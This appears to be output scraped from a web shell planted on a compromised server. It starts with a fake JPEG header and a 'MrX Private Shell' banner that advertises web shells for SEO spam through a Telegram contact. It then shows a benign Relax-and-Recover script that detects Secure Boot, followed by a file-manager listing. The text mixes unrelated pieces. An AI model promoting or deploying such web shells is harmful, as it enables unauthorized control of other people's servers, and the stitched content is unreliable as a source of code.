����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
test "$SECURE_BOOT_BOOTLOADER" && return 0
# Note:
# this is more of a hack than a really good solution.
# The good solution would check the EFI variables for the bootloader
# that is used to boot the system. But this is not implemented yet for
# secure boot.
#
# The code in usr/share/rear/rescue/default/850_save_sysfs_uefi_vars.sh
# could be used as a starting point for this, however currently
# it tries to read the actual boot loader used only as a last resort
# if well-known files are not found.
#
if type -p mokutil ; then
PROGS+=( mokutil )
local secureboot_status
if secureboot_status=$(mokutil --sb-state 2>&1) ; then
if grep -q "SecureBoot enabled" <<<"$secureboot_status" ; then
# Check first for arch-specific and then generic shim file, nullglob will give us the first one found and we ignore the others.
# shellcheck disable=SC2206
SECURE_BOOT_BOOTLOADER=( /boot/efi/EFI/*/shim$EFI_ARCH.efi /boot/efi/EFI/*/shim.efi )
test -z "$SECURE_BOOT_BOOTLOADER" && BugError "Secure Boot is active, cannot auto-configure Secure Boot support:$LF" \
"No shim.efi or shim$EFI_ARCH.efi found in /boot/efi/EFI/*/ directory.$LF$LF" \
"As a workaround you can set SECURE_BOOT_BOOTLOADER to the correct shim.efi or shim$EFI_ARCH.efi file"
# shellcheck disable=SC2128
LogPrint "Secure Boot auto-configuration using '$SECURE_BOOT_BOOTLOADER' as UEFI bootloader"
else
DebugPrint "Secure Boot is disabled, not using Secure Boot shim:$LF$secureboot_status"
fi
else
DebugPrint "Secure Boot is not supported, not using Secure Boot shim:$LF$secureboot_status"
fi
else
DebugPrint "mokutil not found, cannot detect Secure Boot status, not using Secure Boot shim"
fi
return 0
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 330_set_efi_arch.sh | File | 1.25 KB | 0644 |
|
| 370_detect_secure_boot.sh | File | 1.79 KB | 0644 |
|